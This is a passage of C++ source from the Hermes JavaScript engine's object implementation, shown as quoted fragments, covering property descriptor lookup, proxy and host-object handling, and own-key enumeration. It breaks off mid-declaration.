" auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, selfHandle);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n ComputedPropertyDescriptor desc) {\n assert(\n !selfHandle->flags_.proxyObject && !propObj->flags_.proxyObject &&\n \"getComputedPropertyValue_RJS cannot be used with proxy objects\");", " if (LLVM_LIKELY(!desc.flags.accessor))\n return createPseudoHandle(\n getComputedSlotValue(propObj.get(), runtime, desc));", " auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, selfHandle);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n ComputedPropertyDescriptor desc,\n Handle<> nameValHandle) {\n if (!propObj) {\n return createPseudoHandle(HermesValue::encodeEmptyValue());\n }", " if (LLVM_LIKELY(!desc.flags.proxyObject)) {\n return JSObject::getComputedPropertyValue_RJS(\n selfHandle, runtime, propObj, desc);\n }", " CallResult<Handle<>> keyRes = toPropertyKey(runtime, nameValHandle);\n if (LLVM_UNLIKELY(keyRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n CallResult<bool> hasRes = JSProxy::hasComputed(propObj, runtime, *keyRes);\n if (LLVM_UNLIKELY(hasRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*hasRes) {\n return createPseudoHandle(HermesValue::encodeEmptyValue());\n }\n return JSProxy::getComputed(propObj, runtime, *keyRes, selfHandle);\n}", "CallResult<Handle<JSArray>> JSObject::getOwnPropertyKeys(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n OwnKeysFlags okFlags) {\n assert(\n (okFlags.getIncludeNonSymbols() || okFlags.getIncludeSymbols()) &&\n \"Can't exclude symbols and strings\");\n if (LLVM_UNLIKELY(\n selfHandle->flags_.lazyObject || selfHandle->flags_.proxyObject)) {\n if (selfHandle->flags_.proxyObject) {\n CallResult<PseudoHandle<JSArray>> proxyRes =\n JSProxy::ownPropertyKeys(selfHandle, runtime, okFlags);\n if (LLVM_UNLIKELY(proxyRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return runtime->makeHandle(std::move(*proxyRes));\n }\n assert(selfHandle->flags_.lazyObject && \"descriptor flags are impossible\");\n initializeLazyObject(runtime, selfHandle);\n }", " auto range = getOwnIndexedRange(selfHandle.get(), runtime);", " // Estimate the capacity of the output array. This estimate is only\n // reasonable for the non-symbol case.\n uint32_t capacity = okFlags.getIncludeNonSymbols()\n ? (selfHandle->clazz_.get(runtime)->getNumProperties() + range.second -\n range.first)\n : 0;", " auto arrayRes = JSArray::create(runtime, capacity, 0);\n if (LLVM_UNLIKELY(arrayRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto array = runtime->makeHandle(std::move(*arrayRes));", " // Optional array of SymbolIDs reported via host object API\n llvh::Optional<Handle<JSArray>> hostObjectSymbols;\n size_t hostObjectSymbolCount = 0;", " // If current object is a host object we need to deduplicate its properties\n llvh::SmallSet<SymbolID::RawType, 16> dedupSet;", " // Output index.\n uint32_t index = 0;", " // Avoid allocating a new handle per element.\n MutableHandle<> tmpHandle{runtime};", " // Number of indexed properties.\n uint32_t numIndexed = 0;", " // Regular properties with names that are array indexes are stashed here, if\n // encountered.\n llvh::SmallVector<uint32_t, 8> indexNames{};", " // Iterate the named properties excluding those which use Symbols.\n if (okFlags.getIncludeNonSymbols()) {\n // Get host object property names\n if (LLVM_UNLIKELY(selfHandle->flags_.hostObject)) {\n assert(\n range.first == range.second &&\n \"Host objects cannot own indexed range\");\n auto hostSymbolsRes =\n vmcast<HostObject>(selfHandle.get())->getHostPropertyNames();\n if (hostSymbolsRes == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n if ((hostObjectSymbolCount = (**hostSymbolsRes)->getEndIndex()) != 0) {\n Handle<JSArray> hostSymbols = *hostSymbolsRes;\n hostObjectSymbols = std::move(hostSymbols);\n capacity += hostObjectSymbolCount;\n }\n }", " // Iterate the indexed properties.\n GCScopeMarkerRAII marker{runtime};\n for (auto i = range.first; i != range.second; ++i) {\n auto res = getOwnIndexedPropertyFlags(selfHandle.get(), runtime, i);\n if (!res)\n continue;", " // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable() && !res->enumerable)\n continue;", " tmpHandle = HermesValue::encodeDoubleValue(i);\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n marker.flush();\n }", " numIndexed = index;", " HiddenClass::forEachProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n [runtime,\n okFlags,\n array,\n hostObjectSymbolCount,\n &index,\n &indexNames,\n &tmpHandle,\n &dedupSet](SymbolID id, NamedPropertyDescriptor desc) {\n if (!isPropertyNamePrimitive(id)) {\n return;\n }", " // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable()) {\n if (!desc.flags.enumerable)\n return;\n }", " // Host properties might overlap with the ones recognized by the\n // hidden class. If we're dealing with a host object then keep track\n // of hidden class properties for the deduplication purposes.\n if (LLVM_UNLIKELY(hostObjectSymbolCount > 0)) {\n dedupSet.insert(id.unsafeGetRaw());\n }", " // Check if this property is an integer index. If it is, we stash it\n // away to deal with it later. This check should be fast since most\n // property names don't start with a digit.\n auto propNameAsIndex = toArrayIndex(\n runtime->getIdentifierTable().getStringView(runtime, id));\n if (LLVM_UNLIKELY(propNameAsIndex)) {\n indexNames.push_back(*propNameAsIndex);\n return;\n }", " tmpHandle = HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(id));\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n });", " // Iterate over HostObject properties and append them to the array. Do not\n // append duplicates.\n if (LLVM_UNLIKELY(hostObjectSymbols)) {\n for (size_t i = 0; i < hostObjectSymbolCount; ++i) {\n assert(\n (*hostObjectSymbols)->at(runtime, i).isSymbol() &&\n \"Host object needs to return array of SymbolIDs\");\n marker.flush();\n SymbolID id = (*hostObjectSymbols)->at(runtime, i).getSymbol();\n if (dedupSet.count(id.unsafeGetRaw()) == 0) {\n dedupSet.insert(id.unsafeGetRaw());", " assert(\n !InternalProperty::isInternal(id) &&\n \"host object returned reserved symbol\");\n auto propNameAsIndex = toArrayIndex(\n runtime->getIdentifierTable().getStringView(runtime, id));\n if (LLVM_UNLIKELY(propNameAsIndex)) {\n indexNames.push_back(*propNameAsIndex);\n continue;\n }\n tmpHandle = HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(id));\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n }\n }\n }\n }", " // Now iterate the named properties again, including only Symbols.\n // We could iterate only once, if we chose to ignore (and disallow)\n // own properties on HostObjects, as we do with Proxies.\n if (okFlags.getIncludeSymbols()) {\n MutableHandle<SymbolID> idHandle{runtime};\n HiddenClass::forEachProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n [runtime, okFlags, array, &index, &idHandle](\n SymbolID id, NamedPropertyDescriptor desc) {\n if (!isSymbolPrimitive(id)) {\n return;\n }\n // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable()) {\n if (!desc.flags.enumerable)\n return;\n }\n idHandle = id;\n JSArray::setElementAt(array, runtime, index++, idHandle);\n });\n }", " // The end (exclusive) of the named properties.\n uint32_t endNamed = index;", " // Properly set the length of the array.\n auto cr = JSArray::setLength(\n array, runtime, endNamed + indexNames.size(), PropOpFlags{});\n (void)cr;\n assert(\n cr != ExecutionStatus::EXCEPTION && *cr && \"JSArray::setLength() failed\");", " // If we have no index-like names, we are done.\n if (LLVM_LIKELY(indexNames.empty()))\n return array;", " // In the unlikely event that we encountered index-like names, we need to sort\n // them and merge them with the real indexed properties. Note that it is\n // guaranteed that there are no clashes.\n std::sort(indexNames.begin(), indexNames.end());", " // Also make space for the new elements by shifting all the named properties\n // to the right. First, resize the array.\n JSArray::setStorageEndIndex(array, runtime, endNamed + indexNames.size());", " // Shift the non-index property names. The region [numIndexed..endNamed) is\n // moved to [numIndexed+indexNames.size()..array->size()).\n // TODO: optimize this by implementing memcpy-like functionality in ArrayImpl.\n for (uint32_t last = endNamed, toLast = array->getEndIndex();\n last != numIndexed;) {\n --last;\n --toLast;\n tmpHandle = array->at(runtime, last);\n JSArray::setElementAt(array, runtime, toLast, tmpHandle);\n }", " // Now we need to merge the indexes in indexNames and the array\n // [0..numIndexed). We start from the end and copy the larger element from\n // either array.\n // 1+ the destination position to copy into.\n for (uint32_t toLast = numIndexed + indexNames.size(),\n indexNamesLast = indexNames.size();\n toLast != 0;) {\n if (numIndexed) {\n uint32_t a = (uint32_t)array->at(runtime, numIndexed - 1).getNumber();\n uint32_t b;", " if (indexNamesLast && (b = indexNames[indexNamesLast - 1]) > a) {\n tmpHandle = HermesValue::encodeDoubleValue(b);\n --indexNamesLast;\n } else {\n tmpHandle = HermesValue::encodeDoubleValue(a);\n --numIndexed;\n }\n } else {\n assert(indexNamesLast && \"prematurely ran out of source values\");\n tmpHandle =\n HermesValue::encodeDoubleValue(indexNames[indexNamesLast - 1]);\n --indexNamesLast;\n }", " --toLast;\n JSArray::setElementAt(array, runtime, toLast, tmpHandle);\n }", " return array;\n}", "/// Convert a value to string unless already converted\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param str [MutableHandle<StringPrimitive>] the string is stored\n/// there. Must be initialized to null initially.\n#define LAZY_TO_STRING(runtime, nameValHandle, str) \\\n do { \\\n if (!str) { \\\n auto status = toString_RJS(runtime, nameValHandle); \\\n assert( \\\n status != ExecutionStatus::EXCEPTION && \\\n \"toString() of primitive cannot fail\"); \\\n str = status->get(); \\\n } \\\n } while (0)", "/// Convert a value to an identifier unless already converted\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param id [SymbolID] the identifier is stored there. Must be initialized\n/// to INVALID_IDENTIFIER_ID initially.\n#define LAZY_TO_IDENTIFIER(runtime, nameValHandle, id) \\\n do { \\\n if (id.isInvalid()) { \\\n CallResult<Handle<SymbolID>> idRes = \\\n valueToSymbolID(runtime, nameValHandle); \\\n if (LLVM_UNLIKELY(idRes == ExecutionStatus::EXCEPTION)) { \\\n return ExecutionStatus::EXCEPTION; \\\n } \\\n id = **idRes; \\\n } \\\n } while (0)", "/// Convert a value to array index, if possible.\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param str [MutableHandle<StringPrimitive>] the string is stored\n/// there. Must be initialized to null initially.\n/// \\param arrayIndex [OptValue<uint32_t>] the array index is stored\n/// there.\n#define TO_ARRAY_INDEX(runtime, nameValHandle, str, arrayIndex) \\\n do { \\\n arrayIndex = toArrayIndexFastPath(*nameValHandle); \\\n if (!arrayIndex && !nameValHandle->isSymbol()) { \\\n LAZY_TO_STRING(runtime, nameValHandle, str); \\\n arrayIndex = toArrayIndex(runtime, str); \\\n } \\\n } while (0)", "/// \\return true if the flags of a new property make it suitable for indexed\n/// storage. All new indexed properties are enumerable, writable and\n/// configurable and have no accessors.\nstatic bool canNewPropertyBeIndexed(DefinePropertyFlags dpf) {\n return dpf.setEnumerable && dpf.enumerable && dpf.setWritable &&\n dpf.writable && dpf.setConfigurable && dpf.configurable &&\n !dpf.setSetter && !dpf.setGetter;\n}", "struct JSObject::Helper {\n public:\n LLVM_ATTRIBUTE_ALWAYS_INLINE\n static ObjectFlags &flags(JSObject *self) {\n return self->flags_;\n }", " LLVM_ATTRIBUTE_ALWAYS_INLINE\n static OptValue<PropertyFlags>\n getOwnIndexedPropertyFlags(JSObject *self, Runtime *runtime, uint32_t index) {\n return JSObject::getOwnIndexedPropertyFlags(self, runtime, index);\n }", " LLVM_ATTRIBUTE_ALWAYS_INLINE\n static NamedPropertyDescriptor &castToNamedPropertyDescriptorRef(\n ComputedPropertyDescriptor &desc) {\n return desc.castToNamedPropertyDescriptorRef();\n }\n};", "namespace {", "/// ES5.1 8.12.1.", "/// A helper which takes a SymbolID which caches the conversion of\n/// nameValHandle if it's needed. It should be default constructed,\n/// and may or may not be set. This has been measured to be a useful\n/// perf win. Note that always_inline seems to be ignored on static\n/// methods, so this function has to be local to the cpp file in order\n/// to be inlined for the perf win.\nLLVM_ATTRIBUTE_ALWAYS_INLINE\nCallResult<bool> getOwnComputedPrimitiveDescriptorImpl(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n JSObject::IgnoreProxy ignoreProxy,\n SymbolID &id,\n ComputedPropertyDescriptor &desc) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"getOwnComputedPrimitiveDescriptor \"\n \"cannot be an object\");", " // Try the fast paths first if we have \"fast\" index properties and the\n // property name is an obvious index.\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n if (JSObject::Helper::flags(*selfHandle).fastIndexProperties) {\n auto res = JSObject::Helper::getOwnIndexedPropertyFlags(\n selfHandle.get(), runtime, *arrayIndex);\n if (res) {\n // This a valid array index, residing in our indexed storage.\n desc.flags = *res;\n desc.flags.indexed = 1;\n desc.slot = *arrayIndex;\n return true;\n }", " // This a valid array index, but we don't have it in our indexed storage,\n // and we don't have index-like named properties.\n return false;\n }", " if (!selfHandle->getClass(runtime)->getHasIndexLikeProperties() &&\n !selfHandle->isHostObject() && !selfHandle->isLazy() &&\n !selfHandle->isProxyObject()) {\n // Early return to handle the case where an object definitely has no\n // index-like properties. This avoids allocating a new StringPrimitive and\n // uniquing it below.\n return false;\n }\n }", " // Convert the string to a SymbolID\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);", " // Look for a named property with this name.\n if (JSObject::getOwnNamedDescriptor(\n selfHandle,\n runtime,\n id,\n JSObject::Helper::castToNamedPropertyDescriptorRef(desc))) {\n return true;\n }", " if (LLVM_LIKELY(\n !JSObject::Helper::flags(*selfHandle).indexedStorage &&\n !selfHandle->isLazy() && !selfHandle->isProxyObject())) {\n return false;\n }\n MutableHandle<StringPrimitive> strPrim{runtime};", " // If we have indexed storage, perform potentially expensive conversions\n // to array index and check it.\n if (JSObject::Helper::flags(*selfHandle).indexedStorage) {\n // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // Try to convert the property name to an array index.\n TO_ARRAY_INDEX(runtime, nameValHandle, strPrim, arrayIndex);", " if (arrayIndex) {\n auto res = JSObject::Helper::getOwnIndexedPropertyFlags(\n selfHandle.get(), runtime, *arrayIndex);\n if (res) {\n desc.flags = *res;\n desc.flags.indexed = 1;\n desc.slot = *arrayIndex;\n return true;\n }\n }\n return false;\n }", " if (selfHandle->isLazy()) {\n JSObject::initializeLazyObject(runtime, selfHandle);\n return JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValHandle, ignoreProxy, desc);\n }", " assert(selfHandle->isProxyObject() && \"descriptor flags are impossible\");\n if (ignoreProxy == JSObject::IgnoreProxy::Yes) {\n return false;\n }\n return JSProxy::getOwnProperty(\n selfHandle, runtime, nameValHandle, desc, nullptr);\n}", "} // namespace", "CallResult<bool> JSObject::getOwnComputedPrimitiveDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n JSObject::IgnoreProxy ignoreProxy,\n ComputedPropertyDescriptor &desc) {\n SymbolID id{};", " return getOwnComputedPrimitiveDescriptorImpl(\n selfHandle, runtime, nameValHandle, ignoreProxy, id, desc);\n}", "CallResult<bool> JSObject::getOwnComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n ComputedPropertyDescriptor &desc) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, IgnoreProxy::No, desc);\n}", "CallResult<bool> JSObject::getOwnComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n ComputedPropertyDescriptor &desc,\n MutableHandle<> &valueOrAccessor) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n // The proxy is ignored here so we can avoid calling\n // JSProxy::getOwnProperty twice on proxies, since\n // getOwnComputedPrimitiveDescriptor doesn't pass back the\n // valueOrAccessor.\n CallResult<bool> res = JSObject::getOwnComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, IgnoreProxy::Yes, desc);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (*res) {\n valueOrAccessor = getComputedSlotValue(selfHandle.get(), runtime, desc);\n return true;\n }\n if (LLVM_UNLIKELY(selfHandle->isProxyObject())) {\n return JSProxy::getOwnProperty(\n selfHandle, runtime, nameValHandle, desc, &valueOrAccessor);\n }\n return false;\n}", "JSObject *JSObject::getNamedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags expectedFlags,\n NamedPropertyDescriptor &desc) {\n if (findProperty(selfHandle, runtime, name, expectedFlags, desc))\n return *selfHandle;", " // Check here for host object flag. This means that \"normal\" own\n // properties above win over host-defined properties, but there's no\n // cost imposed on own property lookups. This should do what we\n // need in practice, and we can define host vs js property\n // disambiguation however we want. This is here in order to avoid\n // impacting perf for the common case where an own property exists\n // in normal storage.\n if (LLVM_UNLIKELY(selfHandle->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return *selfHandle;\n }", " if (LLVM_UNLIKELY(selfHandle->flags_.lazyObject)) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Proxy objects should never be lazy\");\n // Initialize the object and perform the lookup again.\n JSObject::initializeLazyObject(runtime, selfHandle);", " if (findProperty(selfHandle, runtime, name, expectedFlags, desc))\n return *selfHandle;\n }", " if (LLVM_UNLIKELY(selfHandle->flags_.proxyObject)) {\n desc.flags.proxyObject = true;\n return *selfHandle;\n }", " if (selfHandle->parent_) {\n MutableHandle<JSObject> mutableSelfHandle{\n runtime, selfHandle->parent_.getNonNull(runtime)};", " do {\n // Check the most common case first, at the cost of some code duplication.\n if (LLVM_LIKELY(\n !mutableSelfHandle->flags_.lazyObject &&\n !mutableSelfHandle->flags_.hostObject &&\n !mutableSelfHandle->flags_.proxyObject)) {\n findProp:\n if (findProperty(\n mutableSelfHandle,\n runtime,\n name,\n PropertyFlags::invalid(),\n desc)) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Proxy object parents should never have own properties\");\n return *mutableSelfHandle;\n }\n } else if (LLVM_UNLIKELY(mutableSelfHandle->flags_.lazyObject)) {\n JSObject::initializeLazyObject(runtime, mutableSelfHandle);\n goto findProp;\n } else if (LLVM_UNLIKELY(mutableSelfHandle->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return *mutableSelfHandle;\n } else {\n assert(\n mutableSelfHandle->flags_.proxyObject &&\n \"descriptor flags are impossible\");\n desc.flags.proxyObject = true;\n return *mutableSelfHandle;\n }\n } while ((mutableSelfHandle = mutableSelfHandle->parent_.get(runtime)));\n }", " return nullptr;\n}", "ExecutionStatus JSObject::getComputedPrimitiveDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n MutableHandle<JSObject> &propObj,\n ComputedPropertyDescriptor &desc) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"getComputedPrimitiveDescriptor cannot \"\n \"be an object\");", " propObj = selfHandle.get();", " SymbolID id{};", " GCScopeMarkerRAII marker{runtime};\n do {\n // A proxy is ignored here so we can check the bit later and\n // return it back to the caller for additional processing.", " Handle<JSObject> loopHandle = propObj;", " CallResult<bool> res = getOwnComputedPrimitiveDescriptorImpl(\n loopHandle, runtime, nameValHandle, IgnoreProxy::Yes, id, desc);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (*res) {\n return ExecutionStatus::RETURNED;\n }", " if (LLVM_UNLIKELY(propObj->flags_.hostObject)) {\n desc.flags.hostObject = true;\n desc.flags.writable = true;\n return ExecutionStatus::RETURNED;\n }\n if (LLVM_UNLIKELY(propObj->flags_.proxyObject)) {\n desc.flags.proxyObject = true;\n return ExecutionStatus::RETURNED;\n }\n // This isn't a proxy, so use the faster getParent() instead of\n // getPrototypeOf.\n propObj = propObj->getParent(runtime);\n // Flush at the end of the loop to allow first iteration to be as fast as\n // possible.\n marker.flush();\n } while (propObj);\n return ExecutionStatus::RETURNED;\n}", "ExecutionStatus JSObject::getComputedDescriptor(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n MutableHandle<JSObject> &propObj,\n ComputedPropertyDescriptor &desc) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return getComputedPrimitiveDescriptor(\n selfHandle, runtime, *converted, propObj, desc);\n}", "CallResult<PseudoHandle<>> JSObject::getNamedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n Handle<> receiver,\n PropOpFlags opFlags,\n PropertyCacheEntry *cacheEntry) {\n NamedPropertyDescriptor desc;\n // Locate the descriptor. propObj contains the object which may be anywhere\n // along the prototype chain.\n JSObject *propObj = getNamedDescriptor(selfHandle, runtime, name, desc);\n if (!propObj) {\n if (LLVM_UNLIKELY(opFlags.getMustExist())) {\n return runtime->raiseReferenceError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' doesn't exist\");\n }\n return createPseudoHandle(HermesValue::encodeUndefinedValue());\n }", " if (LLVM_LIKELY(\n !desc.flags.accessor && !desc.flags.hostObject &&\n !desc.flags.proxyObject)) {\n // Populate the cache if requested.\n if (cacheEntry && !propObj->getClass(runtime)->isDictionaryNoCache()) {\n cacheEntry->clazz = propObj->getClassGCPtr().getStorageType();\n cacheEntry->slot = desc.slot;\n }\n return createPseudoHandle(getNamedSlotValue(propObj, runtime, desc));\n }", " if (desc.flags.accessor) {\n auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj, runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return Callable::executeCall0(\n runtime->makeHandle(accessor->getter), runtime, receiver);\n } else if (desc.flags.hostObject) {\n auto res = vmcast<HostObject>(propObj)->get(name);\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return createPseudoHandle(*res);\n } else {\n assert(desc.flags.proxyObject && \"descriptor flags are impossible\");\n return JSProxy::getNamed(\n runtime->makeHandle(propObj), runtime, name, receiver);\n }\n}", "CallResult<PseudoHandle<>> JSObject::getNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n // Note that getStringView can be satisfied without materializing the\n // Identifier.\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n return getComputed_RJS(\n selfHandle,\n runtime,\n runtime->makeHandle(HermesValue::encodeNumberValue(*nameAsIndex)));\n }\n // Here we have indexed properties but the symbol was not index-like.\n // Fall through to getNamed().\n }\n return getNamed_RJS(selfHandle, runtime, name, opFlags);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedWithReceiver_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n Handle<> receiver) {\n // Try the fast-path first: no \"index-like\" properties and the \"name\" already\n // is a valid integer index.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n // Do we have this value present in our array storage? If so, return it.\n PseudoHandle<> ourValue = createPseudoHandle(\n getOwnIndexed(selfHandle.get(), runtime, *arrayIndex));\n if (LLVM_LIKELY(!ourValue->isEmpty()))\n return ourValue;\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;", " // Locate the descriptor. propObj contains the object which may be anywhere\n // along the prototype chain.\n MutableHandle<JSObject> propObj{runtime};\n if (LLVM_UNLIKELY(\n getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " if (!propObj)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " if (LLVM_LIKELY(\n !desc.flags.accessor && !desc.flags.hostObject &&\n !desc.flags.proxyObject))\n return createPseudoHandle(\n getComputedSlotValue(propObj.get(), runtime, desc));", " if (desc.flags.accessor) {\n auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, receiver);\n } else if (desc.flags.hostObject) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " auto propRes = vmcast<HostObject>(selfHandle.get())->get(id);", " if (propRes == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return createPseudoHandle(*propRes);\n } else {\n assert(desc.flags.proxyObject && \"descriptor flags are impossible\");\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return JSProxy::getComputed(propObj, runtime, *key, receiver);\n }\n}", "CallResult<bool> JSObject::hasNamed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name) {\n NamedPropertyDescriptor desc;\n JSObject *propObj = getNamedDescriptor(selfHandle, runtime, name, desc);\n if (propObj == nullptr) {\n return false;\n }\n if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n return JSProxy::hasNamed(runtime->makeHandle(propObj), runtime, name);\n }\n return true;\n}", "CallResult<bool> JSObject::hasNamedOrIndexed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name) {\n if (LLVM_UNLIKELY(selfHandle->flags_.indexedStorage)) {\n const auto strView =\n runtime->getIdentifierTable().getStringView(runtime, name);\n if (auto nameAsIndex = toArrayIndex(strView)) {\n if (haveOwnIndexed(selfHandle.get(), runtime, *nameAsIndex)) {\n return true;\n }\n if (selfHandle->flags_.fastIndexProperties) {\n return false;\n }\n }\n // Here we have indexed properties but the symbol was not stored in the\n // indexedStorage.\n // Fall through to getNamed().\n }\n return hasNamed(selfHandle, runtime, name);\n}", "CallResult<bool> JSObject::hasComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle) {\n // Try the fast-path first: no \"index-like\" properties and the \"name\" already\n // is a valid integer index.\n if (selfHandle->flags_.fastIndexProperties) {\n if (auto arrayIndex = toArrayIndexFastPath(*nameValHandle)) {\n // Do we have this value present in our array storage? If so, return true.\n if (haveOwnIndexed(selfHandle.get(), runtime, *arrayIndex)) {\n return true;\n }\n }\n }", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto nameValPrimitiveHandle = *converted;", " ComputedPropertyDescriptor desc;\n MutableHandle<JSObject> propObj{runtime};\n if (getComputedPrimitiveDescriptor(\n selfHandle, runtime, nameValPrimitiveHandle, propObj, desc) ==\n ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!propObj) {\n return false;\n }\n if (LLVM_UNLIKELY(desc.flags.proxyObject)) {\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return JSProxy::hasComputed(propObj, runtime, *key);\n }\n // For compatibility with polyfills we want to pretend that all HostObject\n // properties are \"own\" properties in 'in'. Since there is no way to check for\n // a HostObject property, we must always assume success. In practice the\n // property name would have been obtained from enumerating the properties in\n // JS code that looks something like this:\n // for(key in hostObj) {\n // if (key in hostObj)\n // ...\n // }\n return true;\n}", "static ExecutionStatus raiseErrorForOverridingStaticBuiltin(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<SymbolID> 